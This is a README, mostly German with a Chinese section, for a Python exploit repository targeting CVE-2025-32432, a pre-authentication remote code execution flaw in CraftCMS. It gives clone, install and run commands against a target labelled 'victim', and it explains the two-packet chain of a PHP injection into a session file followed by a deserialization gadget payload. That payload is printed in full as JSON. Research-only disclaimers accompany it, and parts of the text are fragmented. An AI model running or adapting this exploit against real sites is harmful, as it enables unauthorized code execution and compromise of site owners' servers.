
Python-Exploit für CVE-2025-32432, eine Pre-Auth-RCE im CraftCMS-Asset-Transform-Endpunkt. Enthält eine Zwei-Paket-Kette, um beliebige Shell-Befehle über Deserialisierungs-Gadgets auszuführen.
Pre-Auth Remote Code Execution für CraftCMS 3.x / 4.x / 5.x
PoC-Maintainer: C.T.Y. (nur zu Forschungszwecken)
Schwachstellenentdeckung: Nicolas Bourras – Orange Cyberdefense
Zusätzliche PoC-Inspiration: SensePost-Forschung & Chirag Artanis öffentliches Skript
Dieses Repository bündelt zwei sich ergänzende Python-Exploits für CVE-2025-32432 – eine Pre-Authentifizierungs-RCE im Asset-Transform-Endpunkt von CraftCMS.
| Skript | Zweck |
|---|
craftcms_rce_php_check.py | Sicherheitssonde – sendet eine Anfrage mithilfe des FnStream-Gadgets, um zu prüfen, ob beliebiger PHP-Code ausgeführt wird (gibt phpinfo() aus). Ideal für eine risikoarme Bestätigung. |
craftcms_final_payload.py | Vollständiger Exploit – Zwei-Paket-Kette: Zuerst PHP via FnStream einschleusen, dann mit dem FieldLayoutBehavior → PhpManager-Gadget jeden Shell-Befehl ausführen. |
Das zweite Skript ist das in dieser README beschriebene.
Das erste Skript dient der Vollständigkeit und schnellen Validierung, mit freundlicher Genehmigung von Chirag Artani – siehe Danksagungen.
Der Dateiname wurde zur Klarheit angepasst; die ursprüngliche Struktur und Idee stammen von Chirag Artani.
Nur für Bildungszwecke & autorisierte Sicherheitstests.
Die Verwendung dieser Skripte gegen Systeme ohne ausdrückliche schriftliche Genehmigung ist illegal und unethisch.
assetId-Brute-Force (404 → 302-Heuristik)-c/--cmd)pip install -r requirements.txt):
requestsurllib3# Repository klonen
git clone https://github.com/CTY-Research-1//CVE-2025-32432-2pkt.git
cd CVE-2025-32432-2pkt
# Abhängigkeiten installieren
pip install -r requirements.txt
python3 craftcms_rce_php_check.py -u https://opfer.com
Wenn Sie die phpinfo()-Ausgabe sehen, ist das Ziel mit hoher Wahrscheinlichkeit ausnutzbar.
python3 craftcms_final_payload.py -u https://opfer.com -c "id"
| Option | Lange Form | Beschreibung | Erforderlich |
|---|---|---|---|
-u | --url | Basis-URL des Ziels (ohne abschließenden Schrägstrich) | ✅ |
-c | --cmd | Auszuführender Shell-Befehl | ✅ |
-a | --asset | Bekannter gültiger assetId | ❌ |
-s | --scan-max | Brute-Force-Grenzwert (Standard: 300) | ❌ |
/index.php?p=admin/dashboard&a=<?=...?> schreibt beliebiges PHP in /tmp/sess_<ID>.actions/assets/generate-transform mit einem FieldLayoutBehavior → PhpManager-Gadget zwingt CraftCMS, die Session-Datei mit require() einzubinden und den Code auszuführen.{
"assetId": 11,
"handle": {
"width": 1,
"height": 1,
"as hack": {
"class": "craft\\behaviors\\FieldLayoutBehavior",
"__class": "yii\\rbac\\PhpManager",
"__construct()": [
{
"itemFile": "/tmp/sess_<SessionID>"
}
]
}
}
}
assetId-Brute-Force)phpinfo-Prüfskript (craftcms_rce_php_check.py) und frühe Forschungsideen
Der Dateiname wurde zur Klarheit angepasst; die ursprüngliche Struktur und Idee stammen von Chirag Artani.Verantwortungshinweis: Alle rechtlichen Risiken oder Schäden, die aus der Nutzung dieses Codes entstehen, liegen in der alleinigen Verantwortung des Nutzers.
MIT-Lizenz – siehe LICENSE.
| 檔案 | 用途 |
|---|---|
craftcms_rce_php_check.py | PHP 執行可行性檢查:單一請求,使用 FnStream 觸發 phpinfo(),以低影響方式驗證目標是否易受攻擊。此檔案名稱為說明用途而調整,原始概念與程式架構來自 Chirag Artani。 |
craftcms_final_payload.py | 兩包鏈完整利用:先以 FnStream 植入 PHP,再透過 PhpManager 執行任意指令。 |
僅供教學與合法授權測試使用。未經授權操作即屬違法。
python3 craftcms_rce_php_check.py -u https://目標站
python3 craftcms_final_payload.py -u https://目標站 -c "id"
參數與英文版相同。
phpinfo 檢查腳本
此檔案名稱為說明用途而調整,原始概念與程式架構來自 Chirag Artani。使用本程式碼造成之任何法律風險與損失,由使用者自行承擔。
MIT License